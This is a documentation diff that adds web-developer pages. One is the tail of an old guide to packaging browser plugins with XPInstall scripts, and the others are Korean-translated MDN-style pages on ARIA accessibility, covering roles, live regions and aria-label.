In the code snippet above, the initInstall method is invoked with three parameters:

+ +

Caveat: Certain versions of Mozilla-based browsers (such as Netscape 6.x) treat the use of the equals character ("=") as an illegal token and thus do not allow invocation of initInstall with strings containing "=". A workaround to this would be to detect if initInstall has failed, and then invoke it again without the "=" string. Here is an example:

+
var PLID = "MyPlugin.plug/version=6.5";
+err = initInstall(SOFTWARE_NAME, PLID, VERSION);
+
+if (err != 0)
+{
+	// install may have failed because of N6 and =
+	// replace PLID with a simple string
+	err = initInstall(SOFTWARE_NAME, "MyPluginString", VERSION);
+	if (err != 0)
+		cancelInstall(err);
+}
+
+

Note that above, the PLID contains an "=" and in case the XPI package is running on browsers that treat "=" as an illegal token, the workaround is to handle the error and invoke initInstall again.

+

Using XPInstall to Run an EXE (Native Code) Installer

+

If you wish to run a native installer (EXE) to install plugin software, but wish to make the delivery of this native installer streamlined and within the browser's process, then you ought to consider wrapping it in an XPI Package. From JavaScript, you can call XPInstall's execute method of the Install Object to execute the binary. You can also call the execute method of the File object if you wish to actually install the file you are executing, rather than have it deleted. You can pass command line parameters to the executable. An example of calling the execute method from the Install Object on an executable that has a temporary life span (and is not needed after one execution) is:

+
// Initialize the installation ....
+
+// initInstall(..... ) has already been called
+
+// Using the Install Object's execute method to block on a native installer
+
+execute("setup.exe", "-s", true);
+
+// In the above sample, assume that running "setup -s" from the
+// Command Prompt runs the setup executable, and that  "-s" is some
+// invocation parameter defined by the setup.exe file, perhaps to force
+// the installer to run silently.  We are passing "-s" to the setup file.
+// By passing 'true' we are telling the Install Script to block
+// on the execution of the installable, and do it synchronously
+
+// Must call performInstall to make it all happen...
+
+err = getLastError();
+if (!err)
+   performInstall();
+else
+  cancelInstall(err);
+
+

Installing Plugin Files To the Current Browser

+

Installing to the current browser is the task that is the most important for the XPI Package to succeed in. Here is a code snippet that accomplishes this:

+
// Name of the files to be installed
+var PLUGIN_FILE    = "NPMyPlugin.dll";
+var COMPONENT_FILE = "NPMyPluginScriptablePeer.xpt";
+
+// invoke initInstall to start the installation
+
+....
+
+var pluginFolder = getFolder("Plugins");
+
+// verify disk space is appropriate
+
+....
+
+err = addFile("@myplugin.com/MyPlugin,version=2.5.0.0",
+                     "2.5.0.0", PLUGIN_FILE, pluginsFolder, null);
+    if (err != 0)
+    {
+	//alert("Installation of MyPlugin plug-in failed. Error code "+err);
+	logComment("adding file "+PLUGIN_FILE+" failed. Errror conde: " + err);
+	return err;
+    }
+
+err = addFile(null, CULT_VERSION, COMPONENT_FILE, componentsFolder, null);
+    if (err != 0)
+    {
+	alert("Installation of MyPlugin component failed. Error code "+err);
+	logComment("adding file "+COMPONENT_FILE+" failed. Error conde: " + err);
+	return err;
+    }
+
+

Installing to a Secondary Location

+

For the purposes of solving the First Install Problem, it is necessary to install to a secondary location to ensure discoverability of the plugin by other Netscape Gecko browser in addition to the current browser. A good choice for this secondary location might be the Windows directory on Windows machines. Caveat: Because of possible administrator issues, handle errors carefully!

+
// Get the Windows System directory e.g. C:\WINNT\system32\ directory
+
+var winDirectory = getFolder("Win System");
+
+// Create the Folder C:\WINNT\system32\MyPlugin
+
+var dllWin32Folder = getFolder("file:///", winDirectory+"\\MyPlugin\\");
+//Install DLL to C:\Windows Folder
+	copyErr = addFile("", VERSION, PLUGIN_FILE, dllWin32Folder, null);
+    if (copyErr != 0)
+    {
+    	logComment("First Install:"+copyErr);
+    	return copyErr;
+    }
+
+// Install the XPT file to C:\WINNT\system32\MyPlugin folder
+
+var xptWin32Folder = getFolder("file:///", winDirectory+"\\MyPlugin\\");
+	copyErr = addFile("", VERSION, COMPONENT_FILE, xptWin32Folder, null);
+    if (copyErr != 0)
+    {
+    	logComment("First Install:"+copyErr);
+    	return copyErr;
+    }
+
+

Once the secondary installation has taken place, the Win32 Registry keys have to be updated to indicate information about where the secondary install location is, so that browsers can discover it. This is accomplished with the WinReg object that is exposed to XPInstall. The pieces all come together in the template below.

+

An XPInstall Template

+

We have provided you with a template for an install script which you might want to open in another tab or window. This install script does all of the following:

+ +

Certainly, this script is Windows-centric, but it is easy to port it to any other platform. Easier, perhaps, since the lengthy Win32 Registry manipulation need not occur on Linux or Mac OSX. The getFolder API provides you with enough "syntactic sugar" to determine other locations on the user's computer on different platforms and OS's. A single install.js is often capable of running on many different platforms.

+

Some Installation Concerns

+

This section gathers together some of the chief concerns about deploying XPI packages, notably: how ought a plugin download via XPI be initiated? And what about uninstalling plugins?

+

Triggering an XPInstall Download with a TriggerScript

+

A Trigger Script is web-page delivered piece of JavaScript that can automatically initiate an XPInstall download. This can be done conditionally, since Trigger Scripts can also detect what software has already been installed to the user's machine via XPInstall. This feature is useful for Web sites because:

+ +

Trigger Scripts are a recommended way of initiating an XPInstall download.

+

Triggering an XPInstall Download from HTML

+

In a manner analogous to how SmartUpdate downloads were initiated by the pluginurl attribute of the embed tag, XPInstall downloads can also be initiated by HTML tags invoking plugins, notably via the codebase attribute of the object tag. This is analogous to how Internet Explorer downloads CAB files pointed to by the codebase attribute of the object tag. Here's an example of a hypothetical object tag used to invoke MyPlugin (an imaginary application):

+
	<object id="thePlugin" type="application/x-myplugin" width="100"
+	height="100" codebase="http://location/XPI/myplugin.xpi">
+
+<param .... >
+
+

In the above case, the codebase attribute points directly to the XPI Package, and if the browser can not identify any plugin to handle the (imaginary) application/x-myplugin MIME type, it will download the XPI Package.

+

Note: XPI Packages (files with the xpi extension) use the application/x-xpinstall MIME type. When serving XPI Packages from servers to clients, make sure that XPI Packages are served with this MIME type in the HTTP headers. Associate the application/x-xpinstall MIME type with XPI Packages.

+

The Uninstall Problem

+

In its current iteration, XPInstall does not have an affiliated uninstall technology. It can therefore only be used to install files or deliver native code installers to the client, and if uninstall is a legitimate concern, it might be wise to write a native code (EXE) uninstaller to remove the software. XPInstall can therefore be the "agent of delivery" to streamline the download of the EXE software, but ultimately, the logic of installation and uninstallation will be handled by EXE, which can then create files and registry entries and also clean up after itself upon removal.

+
+

Original Document Information

+ +
+

 

diff --git a/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html b/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html new file mode 100644 index 0000000000..8c53f2148f --- /dev/null +++ b/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html @@ -0,0 +1,222 @@ +--- +title: An overview of accessible web applications and widgets +slug: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets +translation_of: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets +--- +

웹은 변화하고 있습니다. 페이지 중심의 정적이던 사이트들은 동적으로 변화하고 있고, 데스크톱 웹 어플리케이션들이 JS와 AJAX를 중점으로 사용하며 제작되고 있습니다. 디자이너들은 새로운 위젯들과 컨트롤을 한결같이 JavaScript, HTML, CSS를 조합해서 만들고 있습니다. 이런 변화는 사용성과 반응형 향상에는 극적으로 도움을 주지만, 또 다른 많은 유저들은 접근성 격차로 인해 제약이 발생하는 리스크도 안고 있습니다. JavaScript는 스크린리더 같은 보조기술을 사용하는 유저들이 접근하기 힘들다고 알려져 있었습니다. 하지만 현재는 다양한 사용자가 접근할 수 있는 동적 웹 어플리케이션을 만들 수 있습니다.

+ +

문제

+ +

대부분의 자바스크립트 개발도구는 데스크톱 인터페이스의 동작을 유사하게 만들 수 있도록 클라이언트-사이드 위젯 라이브러리를 제공하고 있습니다. Slider, Menu bar, Filelist View 등을 JavaScript, CSS, HTML을 이용해서 만들 수  있습니다. HTML4 명세가 나왔을 때는 HTML 태그에서 이런 위젯들의 설명이 제공되지 않았으며, 개발자들은 보통 <div>나 <span>같은 것들을 활용하여 개발하였습니다. 이런 시대의 결과로 데스크톱 위젯들은 충분한 정보를 제공하지 못하였으며 이는 기술적으로 전혀 도움이 되지 않았습니다. 동적 콘텐츠는 이유가 어떻든 스크린을 보지 못하는 사람에게 문제가 되었습니다. 주식 시세 표시 위젯, 트위터 라이브 피드 갱신, 프로그레스바 같은 것들을 보조공학기술(AT)로 인식하지 못하는 경우가 많았습니다. ARIA가 필요한 이유가 여기에 있습니다. 

+ +

Example 1: 탭 위젯을 ARIA 레이블링 없이 만든 마크업. 마크업에서 위젯의 폼과 동작에 대해 설명하고 있지 않습니다.

+ +
<!-- 탭 위젯을 위한 코드입니다. 어떻습니까? 마크업만 보고서 가늠이 되나요? -->
+<ol>
+  <li id="ch1Tab">
+    <a href="#ch1Panel">Chapter 1</a>
+  </li>
+  <li id="ch2Tab">
+    <a href="#ch2Panel">Chapter 2</a>
+  </li>
+  <li id="quizTab">
+    <a href="#quizPanel">Quiz</a>
+  </li>
+</ol>
+
+<div>
+  <div id="ch1Panel">Chapter 1 content goes here</div>
+  <div id="ch2Panel">Chapter 2 content goes here</div>
+  <div id="quizPanel">Quiz content goes here</div>
+</div>
+ +

Example 2: 탭 위젯의 렌더링 화면. 유저는 비주얼로 확인 가능하지만, 보조기술과 같은 기계들은 읽지 못합니다.
+ Screenshot of the tabs widget

+ +

ARIA

+ +

Accessible Rich Internet Applications(WAI-ARIA)는 W3C의 Web Accessibility Initiative에서 제작하고, 스크린리더 같은 보조기기에서 필요한 정보들을 추가하는 방법을 제공합니다. ARIA는 마크업에서 특별한 속성을 추가하여 개발자들이 위젯의 디테일한 정보를 제공할 때 사용합니다. 동적 웹 어플리케이션에서 찾을 수 있는 데스크톱 스타일 콘트롤과 표준 HTML 태그 사이에 있는 차이를 채우기 위해, ARIA는 친숙한 UI 위젯의 동작 상태(state)와 역할(Role)에 대한 설명을 제공합니다.

+ +

ARIA는 다른 타입의 속성 세개 roles, states, properties를 분할하여 정의하고 있습니다. Roles는 slider, menu bar, dialog와 같은 HTML4에서 사용하지 못하는 위젯을 설명합니다. Properties는 드래그가 가능하다는 것이나, 요소가 필요하다는 것이나, 팝업이 뜨는 것과 같은 위젯의 특징에 대해 설명합니다. State는 요소의 현재 상태에 대해 설명합니다. 이 정보는 보조기기에서 요소의 접근이 불가하거나, 숨겨져 있는 상태라는 것을 명시합니다.

+ +

ARIA attributes are designed to be interpreted automatically by the browser and translated to the operating system's native accessibility APIs. When ARIA is present, assistive technologies are able to recognize and interact with custom JavaScript controls in the same way that they do with desktop equivalents. This has the potential for providing a much more consistent user experience than was possible in the previous generation of web applications, since assistive technology users can apply all of their knowledge of how desktop applications work when they are using web-based applications.

+ +

Example 3: Markup for the tabs widget with ARIA attributes added.

+ +
<!-- Now *these* are Tabs! -->
+<!-- We've added role attributes to describe the tab list and each tab. -->
+<ol role="tablist">
+  <li id="ch1Tab" role="tab">
+    <a href="#ch1Panel">Chapter 1</a>
+  </li>
+  <li id="ch2Tab" role="tab">
+    <a href="#ch2Panel">Chapter 2</a>
+  </li>
+  <li id="quizTab" role="tab">
+    <a href="#quizPanel">Quiz</a>
+  </li>
+</ol>
+
+<div>
+  <!-- Notice the role and aria-labelledby attributes we've added to describe these panels. -->
+  <div id="ch1Panel" role=”tabpanel” aria-labelledby="ch1Tab">Chapter 1 content goes here</div>
+  <div id="ch2Panel" role=”tabpanel” aria-labelledby="ch2Tab">Chapter 2 content goes here</div>
+  <div id="quizPanel" role=”tabpanel” aria-labelledby="quizTab">Quiz content goes here</div>
+</div>
+
+ +

ARIA는 Firefox, Safari, Opera, Chrome 및 Internet Explorer를 포함한 모든 주요 브라우저의 최신 버전에서 지원됩니다. 오픈 소스 NVDA(NonVisual Desktop Access) 및 Orca 스크린 리더와 같은 많은 보조 기술도 ARIA를 지원합니다. 점차적으로 jQuery UI, YUI, Google Closure, Dojo Dijit과 같은 JavaScript 위젯 라이브러리에 ARIA 마크 업도 포함됩니다.

+ +

Presentational changes

+ +

Dynamic presentational changes include using CSS to change the appearance of content (such as a red border around invalid data, or changing the background colour of a checked checkbox), as well as showing or hiding content.

+ +

State changes

+ +

ARIA provides attributes for declaring the current state of a UI widget. Examples include (but are certainly not limited to):

+ + + +

(For a full list of ARIA states, consult the ARIA list of states and properties.)

+ +

Developers should use ARIA states to indicate the state of UI widget elements and use CSS attribute selectors to alter the visual appearance based on the state changes (rather than using script to change a class name on the element).

+ +

The Open Ajax Alliance website provides an example of CSS attribute selectors based on ARIA states. The example shows a WYSIWYG editor interface with a dynamic menu system. Items currently selected in a menu, such as the font face, are visually distinguished from other items. The relevant parts of the example are explained below.

+ +

In this example, the HTML for a menu has the form shown in Example 1a. Note how, on lines 7 and 13, the aria-checked property is used to declare the selection state of the menu items.

+ +

Example 1a. HTML for a selectable menu (adapted from http://www.oaa-accessibility.org/example/25/).

+ +
<ul id="fontMenu" class="menu" role="menu" aria-hidden="true">
+  <li id="sans-serif"
+      class="menu-item"
+      role="menuitemradio"
+      tabindex="-1"
+      aria-controls="st1"
+      aria-checked="true">Sans-serif</li>
+  <li id="serif"
+      class="menu-item"
+      role="menuitemradio"
+      tabindex="-1"
+      aria-controls="st1"
+      aria-checked="false">Serif</li>
+  ...
+
+ +

The CSS that is used to alter the visual appearance of the selected item is shown in Example 1b. Note that there is no custom classname used, only the status of the aria-checked attribute on line 1.

+ +

Example 1b. Attribute-based selector for indicating state (from http://www.oaa-accessibility.org/example/25/).

+ +
li[aria-checked="true"] {
+  font-weight: bold;
+  background-image: url('images/dot.png');
+  background-repeat: no-repeat;
+  background-position: 5px 10px;
+}
+
+ +

The JavaScript to update the aria-checked property has the form shown in Example 1c. Note that the script only updates the aria-checked attribute (lines 3 and 8); it does not need to also add or remove a custom classname.

+ +

Example 1c. JavaScript to update the aria-checked attribute (based on http://www.oaa-accessibility.org/example/25/).

+ +
var processMenuChoice = function(item) {
+  // 'check' the selected item
+  item.setAttribute('aria-checked', 'true');
+  // 'un-check' the other menu items
+  var sib = item.parentNode.firstChild;
+  for (; sib; sib = sib.nextSibling ) {
+    if ( sib.nodeType === 1 && sib !== item ) {
+      sib.setAttribute('aria-checked', 'false');
+    }
+  }
+};
+
+ +

Visibility changes

+ +

When content visibility is changed (i.e. an element is hidden or shown), developers should change the aria-hidden property value. The techniques described above should be used to declare CSS to visually hide an element using display:none.

+ +

The Open Ajax Alliance website provides an example of a tooltip that uses aria-hidden to control the visibility of the tooltip. The example shows a simple web form with tooltips containing instructions associated with the entry fields. The relevant parts of the example are explained below.

+ +

In this example, the HTML for the tooltip has the form shown in Example 2a. Line 9 sets the aria-hidden state to true.

+ +

Example 2a. HTML for a tooltip (adapted from http://www.oaa-accessibility.org/example/39/).

+ +
<div class="text">
+    <label id="tp1-label" for="first">First Name:</label>
+    <input type="text" id="first" name="first" size="20"
+           aria-labelledby="tp1-label"
+           aria-describedby="tp1"
+           aria-required="false" />
+    <div id="tp1" class="tooltip"
+         role="tooltip"
+         aria-hidden="true">Your first name is a optional</div>
+</div>
+
+ +

The CSS for this markup is shown in Example 2b. Note that there is no custom classname used, only the status of the aria-hidden attribute on line 1.

+ +

Example 2b. Attribute-based selector for indicating state (from http://www.oaa-accessibility.org/example/39/).

+ +
div.tooltip[aria-hidden="true"] {
+  display: none;
+}
+
+ +

The JavaScript to update the aria-hidden property has the form shown in Example 2c. Note that the script only updates the aria-hidden attribute (line 2); it does not need to also add or remove a custom classname.

+ +

Example 2c. JavaScript to update the aria-checked attribute (based on http://www.oaa-accessibility.org/example/39/).

+ +
var showTip = function(el) {
+  el.setAttribute('aria-hidden', 'false');
+}
+ +

Role changes

+ +
Under construction
+ +

ARIA allows developers to declare a semantic role for an element that otherwise offers incorrect or no semantics. For example, when an unordered list is used to create a menu, the {{ HTMLElement("ul") }} should be given a role of menubar and each {{ HTMLElement("li") }} should be given a role of menuitem.

+ +

The role of an element should not change. Instead, remove the original element and replace it with an element with the new role.

+ +

For example, consider an "inline edit" widget: a component that allows users to edit a piece of text in place, without switching contexts. This component has a "view" mode, in which the text is not editable, but is activatable, and an "edit" mode, in which the text can be edited. A developer might be tempted to implement the "view" mode using a read-only text  {{ HTMLElement("input") }} element and setting its ARIA role to button, then switching to "edit" mode by making the element writable and removing the role attribute in "edit" mode (since {{ HTMLElement("input") }} elements have their own role semantics).

+ +

Do not do this. Instead, implement the "view" mode using a different element altogether, such as a {{ HTMLElement("div") }} or {{ HTMLElement("span") }} with a role of button, and the "edit" mode using a text  {{ HTMLElement("input") }} element.

+ +

Asynchronous content changes

+ +
Under construction. See also Live Regions
+ +

Keyboard navigation

+ +

Often times developers overlook support for the keyboard when they create custom widgets. To be accessible to a variety of users, all features of a web application or widget should also be controllable with the keyboard, without requiring a mouse. In practice, this usually involves following the conventions supported by similar widgets on the desktop, taking full advantage of the Tab, Enter, Spacebar, and arrow keys.

+ +

Traditionally, keyboard navigation on the web has been limited to the Tab key. A user presses Tab to focus each link, button, or form on the page in a linear order, using Shift-Tab to navigate backwards. It's a one-dimensional form of navigation—forward and back, one element at a time. On fairly dense pages, a keyboard-only user often has to press the Tab key dozens of times before they can access the section they need. Implementing desktop-style keyboard conventions on the web has the potential to significantly speed up navigation for many users.

+ +

Here's a summary of how keyboard navigation should work in an ARIA-enabled web application:

+ + + +

So, for the Tabs widget example above, the user should be able to navigate into and out of the widget's container (the <ol> in our markup) using the Tab and Shift-Tab keys. Once keyboard focus is inside the container, the arrow keys should allow the user to navigate between each tab (the <li> elements). From here, conventions vary from platform to platform. On Windows, the next tab should automatically be activated when the user presses the arrow keys. On Mac OS X, the user can press either Enter or the Spacebar to activate the next tab. An in-depth tutorial for creating Keyboard-navigable JavaScript widgets describes how to implement this behavior with JavaScript.

+ +

For more detail about desktop-style keyboard navigation conventions, a comprehensive DHTML style guide is available. It provides an overview of how keyboard navigation should work for each type of widget supported by ARIA. The W3C also offers a helpful ARIA Best Practices document that includes keyboard navigation and shortcut conventions for a variety of widgets. 

+ +

See also

+ + diff --git a/files/ko/web/accessibility/aria/aria_live_regions/index.html b/files/ko/web/accessibility/aria/aria_live_regions/index.html new file mode 100644 index 0000000000..c609e9698f --- /dev/null +++ b/files/ko/web/accessibility/aria/aria_live_regions/index.html @@ -0,0 +1,255 @@ +--- +title: ARIA live regions +slug: Web/Accessibility/ARIA/ARIA_Live_Regions +translation_of: Web/Accessibility/ARIA/ARIA_Live_Regions +--- +

JavaScript를 이용하면, 전체 페이지를 다시 로드할 필요 없이 페이지의 일부를 동적으로 변경하는 것이 가능합니다. 예를 들면, 검색 결과 리스트를 즉시 업데이트 하거나, 사용자 상호 작용이 필요 없는 경고 또는 알림을 표시합니다. 이러한 변경사항들은 일반적으로 페이지를 볼 수 있는 사용자에게 시각적으로 분명하게 보이지만, 보조과학기술 사용자들에겐 분명하지 않을 수 있습니다. ARIA live regions은 이 간격을 메우고, 보조과학기술에 의해 발표될 수 있는 방식으로 동적 컨텐츠 변화들을 프로그래밍 방식으로 노출할 수 있는 방법을 제공합니다.

+ +
+

Note: 보조과학기술은 live region 컨텐츠에 동적인  변화를 발표할 것입니다.

+ +

Including an aria-live attribute or a specialized live region role (such as role="alert") on the element you want to announce changes to works as long as you add the attribute before the changes occur — either in the original markup, or dynamically using JavaScript.

+
+ +

간단한 live regions

+ +

페이지를 재로드 없이 업데이트 되는 동적 컨텐츠는 일반적으로 영역 또는 위젯입니다. 대화형 컨텐츠가 아닌 단순 컨텐츠 변경은 live regions 으로 표시해야만 합니다. 아래는 관련 ARIA live region 속성에 관한 리스트와 설명입니다.

+ +
    +
  1. aria-live: aria-live=POLITENESS_SETTING는 스크린 리더가 live regions에 대한 업데이트를 처리할때 우선 순위를 설정하는 데 사용되며, 가능한 세팅으로 off, politeassertive가 있습니다. 기본 설정은 off입니다. 이 속성은 단연코 가장 중요합니다.
  2. +
  3. +

    aria-controls: The aria-controls=[IDLIST] is used to associate a control with the regions that it controls. Regions are identified just like an id in a div, and multiple regions can be associated with a control using a space, e.g. aria-controls="myRegionID1 myRegionsID2".

    + +
    Not known if the aria-controls aspect of live regions is implemented in current ATs, or which. Needs research.
    +
  4. +
+ +

Normally, only aria-live="polite" is used. Any region which receives updates that are important for the user to receive, but not so rapid as to be annoying, should receive this attribute. The screen reader will speak changes whenever the user is idle.

+ +

For regions which are not important, or would be annoying because of rapid updates or other reasons, silence them with aria-live="off".

+ + + +

A website specializing in providing information about planets provides a dropdown box. When a planet is selected from the dropdown, a region on the page is updated with information about the selected planet.

+ +

HTML

+ +
<fieldset>
+  <legend>Planet information</legend>
+  <label for="planetsSelect">Planet:</label>
+  <select id="planetsSelect" aria-controls="planetInfo">
+    <option value="">Select a planet&hellip;</option>
+    <option value="mercury">Mercury</option>
+    <option value="venus">Venus</option>
+    <option value="earth">Earth</option>
+    <option value="mars">Mars</option>
+  </select>
+  <button id="renderPlanetInfoButton">Go</button>
+</fieldset>
+
+<div role="region" id="planetInfo" aria-live="polite">
+  <h2 id="planetTitle">No planet selected</h2>
+  <p id="planetDescription">Select a planet to view its description</p>
+</div>
+
+<p><small>Information courtesy <a href="https://en.wikipedia.org/wiki/Solar_System#Inner_Solar_System">Wikipedia</a></small></p>
+
+ +

JavaScript

+ +
const PLANETS_INFO = {
+  mercury: {
+    title: 'Mercury',
+    description: 'Mercury is the smallest and innermost planet in the Solar System. It is named after the Roman deity Mercury, the messenger to the gods.'
+  },
+
+  venus: {
+    title: "Venus",
+    description: 'Venus is the second planet from the Sun. It is named after the Roman goddess of love and beauty.'
+  },
+
+  earth: {
+    title: "Earth",
+    description: 'Earth is the third planet from the Sun and the only object in the Universe known to harbor life.'
+  },
+
+  mars: {
+    title: "Mars",
+    description: 'Mars is the fourth planet from the Sun and the second-smallest planet in the Solar System after Mercury. In English, Mars carries a name of the Roman god of war, and is often referred to as the "Red Planet".'
+  }
+};
+
+function renderPlanetInfo(planet) {
+  const planetTitle = document.querySelector('#planetTitle');
+  const planetDescription = document.querySelector('#planetDescription');
+
+  if (planet in PLANETS_INFO) {
+    planetTitle.textContent = PLANETS_INFO[planet].title;
+    planetDescription.textContent = PLANETS_INFO[planet].description;
+  } else {
+    planetTitle.textContent = 'No planet selected';
+    planetDescription.textContent = 'Select a planet to view its description';
+  }
+}
+
+const renderPlanetInfoButton = document.querySelector('#renderPlanetInfoButton');
+
+renderPlanetInfoButton.addEventListener('click', event => {
+  const planetsSelect = document.querySelector('#planetsSelect');
+  const selectedPlanet = planetsSelect.options[planetsSelect.selectedIndex].value;
+
+  renderPlanetInfo(selectedPlanet);
+});
+
+ +

{{EmbedLiveSample('Dropdown_box_updates_useful_onscreen_information', '', 350)}}

+ +

As the user selects a new planet, the information in the live region will be announced. Because the live region has aria-live="polite", the screen reader will wait until the user pauses before announcing the update. Thus, moving down in the list and selecting another planet will not announce updates in the live region. Updates in the live region will only be announced for the planet finally chosen.

+ +

Here is a screenshot of VoiceOver on Mac announcing the update (via subtitles) to the live region:

+ +

A screenshot of VoiceOver on Mac announcing the update to a live region. Subtitles are shown in the picture.

+ +

Preferring specialized live region roles

+ +

In the following well-known predefined cases it is better to use a specific provided "live region role":

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RoleDescriptionCompatibility Notes
logChat, error, game or other type of logTo maximize compatibility, add a redundant aria-live="polite" when using this role.
statusA status bar or area of the screen that provides an updated status of some kind. Screen reader users have a special command to read the current status.To maximize compatibility, add a redundant aria-live="polite" when using this role.
alertError or warning message that flashes on the screen. Alerts are particularly important for client side validation notices to users. (TBD: link to ARIA form tutorial with aria info)To maximize compatibility, some people recommend adding a redundant aria-live="assertive" when using this role. However, adding both aria-live and role="alert" causes double speaking issues in VoiceOver on iOS.
progressbarA hybrid between a widget and a live region. Use this with aria-valuemin, aria-valuenow and aria-valuemax. (TBD: add more info here).
marqueefor text which scrolls, such as a stock ticker.
timeror any kind of timer or clock, such as a countdown timer or stopwatch readout.
+ +

Advanced live regions

+ +

(TBD: more granular information on the support of the individual attributes with combinations of OS/Browser/AT).

+ +

General support for Live Regions was added to JAWS on version 10.0. In Windows Eyes supports Live Regions since version 8.0 "for use outside of Browse Mode for Microsoft Internet Explorer and Mozilla Firefox". NVDA added some basic support for Live Regions for Mozilla Firefox back in 2008 and was improved in 2010 and 2014. In 2015, basic support was also added for Internet Explorer (MSHTML).

+ +

The Paciello Group has some information about the state of the support of Live Regions (2014). Paul J. Adam has researched the support of Aria-Atomic and Aria-Relevant in particular. 

+ +
    +
  1. aria-atomic: The aria-atomic=BOOLEAN is used to set whether or not the screen reader should always present the live region as a whole, even if only part of the region changes. The possible settings are: false or true. The default setting is false.
  2. +
  3. aria-relevant: The aria-relevant=[LIST_OF_CHANGES] is used to set what types of changes are relevant to a live region. The possible settings are one or more of: additions, removalstext, all. The default setting is: additions text.
  4. +
  5. aria-labelledby: The aria-labelledby=[IDLIST] is used to associate a region with its labels, similar to aria-controls but instead associating labels to the region. and label identifiers are separated with a space.
  6. +
  7. aria-describedby: The aria-describedby=[IDLIST] is used to associate a region with its descriptions, similar to aria-controls but instead associating descriptions to the region and description identifiers are separated with a space.
  8. +
+ +

Advanced use case: Clock

+ +

As an illustration of aria-atomic, consider a site with a simple clock, showing hours and minutes. The clock is updated each minute, with the new remaining time simply overwriting the current content.

+ +
<div id="clock" role="timer" aria-live="polite"></div>
+
+ +
/* basic JavaScript to update the clock */
+
+setInterval(function() {
+  var now = new Date();
+  document.getElementById('clock').innerHTML = "Time: " + now.getHours() + ":" + ("0"+now.getMinutes()).substr(-2);
+}, 60000);
+
+ +

The first time the function executes, the entirety of the string that is added will be announced. On subsequent calls, only the parts of the content that changed compared to the previous content will be announced. For instance, when the clock changes from "17:33" to "17:34", assistive technologies will only announce "4", which won't be very useful to users.

+ +

One way around this would be to first clear the contents of the live region, and then inject the new content. However, this can sometimes be unreliable, as it's dependent on the exact timing of these two updates.

+ +

aria-atomic="true" ensures that each time the live region is updated, the entirety of the content is announced in full (e.g. "Time: 17:34").

+ +
<div id="clock" role="timer" aria-live="polite" aria-atomic="true"></div>
+
+ +
+

Note: As observed, setting/updating the innerHTML again would cause the whole text to be read again, whether or not you set aria-atomic="true", so the above Clock example does not work as expected.

+
+ +

A working example of a simple year control for better understanding:

+ +
<div id="date-input">
+  <label>Year:
+    <input type="text" id="year" value="1990" onblur="change(event)"/>
+  </label>
+</div>
+
+<div id="date-output" aria-live="polite">
+  The set year is:
+  <span id="year-output">1990</span>
+</div>
+ +

+ +
function change(event) {
+  var yearOut = document.getElementById("year-output");
+  switch (event.target.id) {
+    case "year":
+      yearOut.innerHTML = event.target.value;
+      break;
+   default:
+      return;
+  }
+};
+ +

+ +

Without aria-atomic="true" the screenreader announces only the changed value of year.

+ +

With aria-atomic="true", the screenreader announces "The set year is: changedvalue"

+ +

Advanced use case: Roster

+ +

A chat site would like to display a list of users currently logged in. Display a list of users where a user's log-in and log-out status will be reflected dynamically (without a page reload).

+ +
<ul id="roster" aria-live="polite" aria-relevant="additions removals">
+	<!-- use JavaScript to add remove users here-->
+</ul>
+
+ +

Breakdown of ARIA live properties:

+ + + +

See also

+ + diff --git a/files/ko/web/accessibility/aria/aria_techniques/index.html b/files/ko/web/accessibility/aria/aria_techniques/index.html new file mode 100644 index 0000000000..c628a228e1 --- /dev/null +++ b/files/ko/web/accessibility/aria/aria_techniques/index.html @@ -0,0 +1,213 @@ +--- +title: 'ARIA 사용하기: 규칙, 상태, 속성' +slug: Web/Accessibility/ARIA/ARIA_Techniques +tags: + - ARIA + - Accessibility + - Overview + - Reference +translation_of: Web/Accessibility/ARIA/ARIA_Techniques +--- +

ARIA defines semantics that can be applied to elements, with these divided into roles (defining a type of user interface element) and states and properties that are supported by a role. Authors must assign an ARIA role and the appropriate states and properties to an element during its life-cycle, unless the element already has appropriate ARIA semantics (via use of an appropriate HTML element). Addition of ARIA semantics only exposes extra information to a browser's accessibility API, and does not affect a page's DOM.

+ +

Roles

+ +

Widget roles

+ +
+ +
+ +

Composite roles

+ +

The techniques below describe each composite role as well as their required and optional child roles.

+ +
+ +
+ +

Document structure roles

+ +
+ +
+ +

Landmark roles

+ +
+ +
+ +

Live Region Roles

+ +
+ +
+ +

Window Roles

+ +
+ +
+ +

States and properties

+ +

Widget attributes

+ +
+ +
+ +

Live region attributes

+ +
+ +
+ +

Drag & drop attributes

+ +
+ +
+ +

Relationship attributes

+ +
+ +
+ +

MicrosoftEdge-specific properties

+ +
+ +
diff --git a/files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html b/files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html new file mode 100644 index 0000000000..d667416f9d --- /dev/null +++ b/files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html @@ -0,0 +1,66 @@ +--- +title: aria-label 속성 사용 +slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute +tags: + - ARIA + - Accessibility + - aria-label +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute +--- +

aria-label 속성은 현재 요소에 레이블을 정의하기 위해서 사용합니다. 텍스트 레이블이 화면에 표시되지 않을 때에 사용하세요. 만약에 요소에 레이블을 정의하는 화면에 보이는 텍스트가 있다면  aria-labelledby을 대신 사용하세요

+ +

이 속성은 일반적인 HTML 요소와 함께 사용할 수 있습니다. ARIA role 이 적용된 요소에만 한정되지 않습니다.

+ +

+ +

문자열

+ +

사용자 에이전트와 보조도구에 대한 영향

+ +
+

Edit section

+
+ +
참고: 보조기기가 이 기술을 처리하는 방법에 대한 의견에는 차이가 있을 수 있습니다. 위에서 제공하는 정보는 그러한 의견 중 하나일 뿐 규범이 아닙니다. 
+ +

+ +
+

예 1: 다수의 레이블

+ +

아래의 예제에서 버튼은 X가 가운데있는 전형적인 "닫기" 버튼처럼 스타일됩니다. 버튼의 목적이 대화상자를 닫는 것임을 암시하는 것이 없으므로 보조기기에 레이블을 제공하기 위해 aria-label 를 사용합니다.

+
+ +
<button aria-label="Close" onclick="myDialog.close()">X</button>
+
+ +

동작하는 예:

+ +

